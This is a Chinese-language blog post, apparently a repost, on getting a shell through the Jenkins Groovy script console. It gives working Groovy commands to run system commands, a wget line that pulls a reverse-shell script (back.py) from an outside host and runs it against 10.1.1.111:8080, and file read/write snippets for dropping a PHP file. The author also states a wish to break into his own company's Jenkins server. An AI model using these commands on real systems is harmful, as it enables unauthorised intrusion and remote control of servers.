Jenkins拿shell方法

独自等待 2017年5月12日02:08:15评论573 views字数 1183阅读3分56秒阅读模式

最近一直在学习怎么利用jenkins反序列化,妹的,就是没有一个顺手的GUI工具,能让我直接秒杀服务器。

楼下的小伙伴有好的工具,请给我留言,我要秒了我们公司的jenkins服务器,多谢。。。。

关于反序列化的问题,如果不懂java就是苦逼,小弟我就是这样的苦逼,这个先放一边,先把jenkins拿shell的方法整理一下。

文章来自安全脉搏,略有改动,更加精简。。。

jenkins

一、Jenkins未授权访问可执行命令

命令执行的话,是需要有相关用户权限的,具体的位置在下图中:

jenkins_script

在脚本命令行中输入下面的语句,即可执行相应的命令:

println "ipconfig /all".execute().text

推荐上面的这种方式,比较简洁。。

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

老外的方式,比较正式一点。。

下面的截图是执行后的结果,就像在CMD中执行是一样的效果。

ipconfig

二、Jenkins拿shell方法

1、直接wget下载back.py反弹shell,如下:

println "wget http://www.waitalone.cn/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text

2、多种方式写shell

Groovy I/O 文件读写
  
读文件
new File("/tmp/back.py").getText();
new File("c:/windows/win.ini").getText();
  
//eachLine -- 打开和读取文件的每一行
new File("/tmp/back.py").eachLine { 
println it;
}
  
//readLines
lineList = new File("/tmp/back.py").readLines();
lineList.each { 
println it.toUpperCase();
}
  
write轻轻松松写文件
new File("/tmp/1.php").write('Hello SecPulse');
  
多行写入
new File("/tmp/1.php").write("""
This is
just a test file
to play with
""");

3、文章参考:

http://www.secpulse.com/archives/2166.html



from www.waitalone.cn.thanks for it.

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月12日02:08:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jenkins拿shell方法http://cn-sec.com/archives/50334.html

发表评论

匿名网友 填写信息